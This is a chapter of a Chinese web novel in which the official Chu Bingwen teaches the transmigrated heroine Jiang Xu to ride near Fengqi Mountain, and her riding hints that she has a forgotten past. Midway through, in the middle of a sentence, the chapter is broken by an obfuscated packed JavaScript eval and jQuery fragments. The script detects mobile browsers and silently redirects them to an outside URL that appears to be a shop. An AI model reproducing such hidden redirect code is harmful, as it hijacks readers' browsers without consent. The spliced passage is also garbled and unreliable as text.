34. 骑马

作品:《恶毒反派拒绝洗白

    褚秉文抬头看她。她站在那儿,语气里带着些赌气,脸上却没什么表情,甚至嘴角有一点翘,似是带着点调侃的意思。


    褚秉文低声笑了一下,轻轻地摇了摇头:“她也不会说。”


    他侧着头,看着江叙。她正望着远方,目光落得及其远,背影瘦瘦的,头发随意地扎着,有几缕散下来,垂在耳边。


    他忽然想起昨晚的梦,梦中的她几乎不言语,只那一双眼睛,和现在一模一样,所以在梦中他才不敢去看。


    风顺着山头吹下来,略过江叙的身上,又打在他的肩头,温热,清香,像是风栖山里的花草。


    他在梦里就应该意识到的,梦里的人没有一点真实存在的实感,和面前人不一样。


    她突然转头,褚秉文有些心虚地立刻挪开了视线,跟着她方才的目光,看向了远方。或许也是觉得眼下的氛围过于安静,所以他轻咳了一声,开口问道:“想学骑马吗?”


    江叙默默地点了点头,但其实心中也没有底,她生活的时代没有马匹,唯有景区会有骑马的项目,再有就是富人喜欢的马术。


    可惜她不爱出门,也算不上富人,在生活中,就是一个普通的不能再普通的社畜。反观褚敬澜,她必然是家中备受宠爱的存在,在这个时代,女子能够不受规训已然是难得,何况是上阵杀敌呢?


    褚敬澜骑马的样子英姿飒爽,甚至比她见过的马术还要帅几分,让她不由得有些羡慕。


    她觉得人的欲/望应当被藏起来,喜怒哀乐不应当写在脸上,所以她也自觉的自己不是那种情绪外露的人,只是没想到自己的心思被褚秉文捕捉到了,而且还只是那几乎只有一瞬的情绪。


    “过几日,”褚秉文忽然开口,“是中元节。”


    江叙侧头看着他,他只见他正盯着自己看,声音不高不低,说着:“正好近些日子都护府无事,要不要出去走走?”


    “去哪?”


    他沉默了一瞬:“风栖山下有个马场,是军队在用。”


    “军队的马场,大人带我去?”江叙说。


    褚秉文没接话,他转过身,看了她一眼,那一眼很短,“暂用而已,无碍。”


    他说完,头也不回地往里走了。


    江叙站在门口,看着他的背影。他走得很快,快到像是怕她追上来问什么。她没追,只是站在那里,风把她的裙角吹得翻起来,凉飕飕的。


    这褚秉文,还挺有主意的。


    她心想,去就去,反正待着也是待着,也算是体验生活吧。


    中元节那天,江叙住在都护府的值房,没有去褚秉文给安排的那间院子,外面的天还没亮她就醒了。


    江叙躺在黑暗里,听了一会儿窗外的风声,风不大,呜呜的,像有人在轻声呢喃,她翻了个身,把被子拉到下巴,闭上眼,又睁开。


    睡不着了。


    她起来洗漱,穿了一件青灰色的褙子,头发随便挽了个髻,没戴任何首饰。走出门的时候,天边刚露了一点白,太阳还没出来。


    院子里没有人,她走出了都护府,正要往褚府的方向走去,却在都护府的大门口碰见了褚秉文。


    只见他穿着一件深色的袍子,没戴冠,头发用一根带子束着,比平时看着随意了些,也年轻了些。


    他看见江叙,脚步顿了一下,然后走过来,开口问道:“最近怎么不在都护府住着?那院子住不惯?”


    “到不是住不惯,”江叙想了想,“我只是觉得那不太自在,那感觉有点说不上来。”


    住不惯是谈不上的,其实正相反,她住得有些太习惯了,那院子给她的感觉很熟悉,熟悉到想她之前就在那里住一样。


    但江叙自小在孤儿院长大,住的是孤儿院里的宿舍,从没住过这样的地方。


    怪得很。


    然而褚秉文只是那么问了一嘴,没准备给她换住处的意思,江叙有些失落,但念在自己如今算是寄人篱下,也不好说些什么,两人就都没再提这茬事。


    两个人并肩往外走,江叙见都护府门口拴着两匹马,一匹枣红色的,另一匹黑色的,高大些,鬃毛很长,被风吹得飘起来。


    褚秉文把枣红色的缰绳递给她。她接过来,抬手摸了摸马的脖子,发现这马的皮毛很软,和想象中的不一样。


    清晨的风栖山笼罩在薄雾里,山道两旁的草叶上挂着露水,马蹄踩上去,湿漉漉的,没有声音。


    褚秉文把江叙扶上马的时候,她的手搭在他掌心里,凉的。他握着那几根手指,顿了一下,待她坐稳了才松开。


    “左脚踩镫,手抓鞍桥,身体往前倾。”他说,声音很平,一板一眼地教学,江叙觉得他若是生在现代,当个私教应当能赚个不少钱。


    不对,褚秉文不会给顾客情绪价值,估计没几节课就得被退掉,算了,还是留在这当大奸臣吧。


    江叙照着他的话做了。可她上马的姿势有些别扭,她的重心偏得太早了,左脚刚踩实,身体就已经往上提了。


    就好比,人家才教你怎么站立,你却已经作出了起跑的姿势。


    这不是天赋,到更像是肌肉记忆。褚秉文看见了,但他没说。


    他牵着缰绳,慢慢往前走。


    江叙坐在马上,一开始很紧张,两只手攥着鞍桥,一点都不肯分开,可走了几十步之后,她的身体忽然松了一下,像是习惯了一样。


    她的腰自然挺起来,肩膀打开,胯骨随着马的步伐微微晃动,幅度不大,但很稳。


    褚秉文走在前面,手拉着缰绳,没有回头,可他的耳朵在听。马蹄声很匀,一嗒一嗒的,此刻竟然出奇的和平。


    “大人,我想自己试试。”江叙在后面说。


    他停下来,回头看她。她坐在马上,两只手攥着缰绳,神情有些跃跃欲试。


    “你确定?”他问。


    “嗯。”她说,“反正这马听话。”


    褚秉文松开缰绳,退到一旁。江叙脚腕轻轻磕了一下马腹,马往前走了。


    她的身体跟着晃了一下,褚秉文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429442|196809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凝神看着她的动作,他是军中人,自然精通骑术,看得出那动作是骑了很多年的人才会有的下意识动作,身体和马之间没有迟疑,像是一个人。


    但她又全然一副没骑过马的样子,甚至割裂。


    他站在原处,看着江叙的背影。山雾还没散,她的影子在雾里模糊了又清晰,清晰了又模糊,像是穿梭在山雾间,若隐若现,若即若离。


    他忽然想起很多年前,有个人也是这样,骑在马上,背影瘦瘦的,头发被风吹散了也不管。


    他把那些念头压下去,翻身上了自己那匹马,轻呵了一声,那马顺着江叙的方向跑去。


    风栖山的马场在山脚下,一片平原,一望无际,江叙骑了两圈,从马上下来的时候腿有点软,扶着马鞍站了一会儿。


    “怎么有点发飘呢?”她问,“我是不是没什么天赋啊?”


    褚秉文看了她一眼,淡淡道:“马听话就行。”


    她笑了笑,蹲下去揉小腿,说酸得很。他站在旁边,看着她蹲在地上的样子,忽然开口:“这地方,你觉得熟悉吗?”


    江叙抬起头:“什么?”


    “风栖山。”他说,“你熟悉吗?”


    江叙看了看四周,说道:“明懿长公主回国的时候来过一次。”


    那一次她站在半山腰,也是一阵风吹过,她好像听到了有人在她身后叫她的名字,但一转身又发现什么都没有。


    她疑心自己是听错了,但那声音及其真实,真实到江叙这样坚定的唯物主义人士都不能忽略掉。


    褚秉文蹙眉看着她,沉默了一会儿,看得江叙都有些害怕了,随后他转过身,驾着马往山坡上走。


    只留下一句:“跟上来。”


    江叙见他已经走了,虽速度不快,但好像没有丝毫要等着她的意思,于是只好翻身上马,立刻跟了上去。


    平原的路还算好走,可露水打湿了草,马走起来有点滑。她跟在他后面,不知道要去哪儿,但也没有开口问。


    她知道的,这座山上埋了两个人,一个是前阵子尸体被送回大昱的明懿长公主,一个是他口中的那位亡妻。


    府中人说,褚秉文和他的妻子是少年夫妻,是从燕都来的女官,婚后二人举案齐眉,只可惜那位夫人早逝,不过二十出头的年纪便去世了。


    从那以后褚秉文的房中一直空着,他对旁人一直说的都是不愿意再忧心家中事,但听说褚老将军也张罗过这事,最后都被他回绝,所以府中人便默认了他是妻子早亡后不愿意再娶妻了。


    江叙所知道的那两个人,明懿长公主是她看着入葬的,而且明懿长公主的墓不在这个方向。


    “大人,”她开口了,声音不高,“您带我来这儿,是想让我看什么?”


    风从山那边吹过来,凉飕飕的,吹得她的头发往脸上糊,她拨开,低下头,看着自己的脚尖。


    “我不认识您的夫人,您为什么要带我来?是提醒我您心里有人吗?”


    那你又何必来招惹我?